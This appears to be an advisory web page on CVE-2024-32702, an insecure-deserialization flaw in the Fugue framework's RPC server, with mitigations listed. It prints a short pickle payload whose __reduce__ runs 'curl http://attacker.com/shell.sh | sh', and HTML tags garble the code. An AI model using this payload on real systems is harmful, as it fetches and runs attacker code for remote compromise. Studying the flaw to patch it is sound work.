Fugue Framework, Insecure Deserialization, CVE-2024-32702 (Critical)

Listen to this Post

How the CVE Works

The vulnerability exists within the Fugue framework’s RPC server implementation. The `_decode()` function located in `fugue/rpc/flask.py` directly passes user-supplied data to `cloudpickle.loads()` for deserialization. The `cloudpickle` module is capable of serializing and deserializing arbitrary Python objects, including class instances and function definitions. During the deserialization process, the `__reduce__()` method of any object within the pickle stream is automatically executed. An attacker can craft a malicious payload containing a serialized object that defines a `__reduce__()` method returning a callable and its arguments, such as the `os.system` function paired with a system command. When the RPC server receives and processes this malicious payload, the `cloudpickle.loads()` function reconstructs the object, executing the attacker-defined `__reduce__` method, leading to arbitrary code execution on the server with the privileges of the Fugue RPC server process.
Platform: Fugue
Version: Pre-patch
Vulnerability: Insecure Deserialization
Severity: Critical
date: 2024

Prediction: 2024-Q2

What Undercode Say:

find / -name "flask.py" -path "/fugue/rpc/" 2>/dev/null
Malicious pickle payload example
import pickle
import base64
import os
class RCE:
def <strong>reduce</strong>(self):
return (os.system, ('curl http://attacker.com/shell.sh | sh',))
malicious_pickle = pickle.dumps(RCE())
print(base64.b64encode(malicious_pickle))
python -c "import fugue.rpc.flask; print(fugue.<strong>file</strong>)"

How Exploit:

Attacker sends malicious pickle payload to the RPC server endpoint. The server deserializes the payload using cloudpickle.loads(), triggering the embedded code.

Protection from this CVE

Replace `cloudpickle.loads()` with JSON.

Implement a restricted `Unpickler`.

Bind RPC server to localhost.

Add client authentication.

Impact:

Remote Code Execution

Full System Compromise

Data Theft

Network Pivoting

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top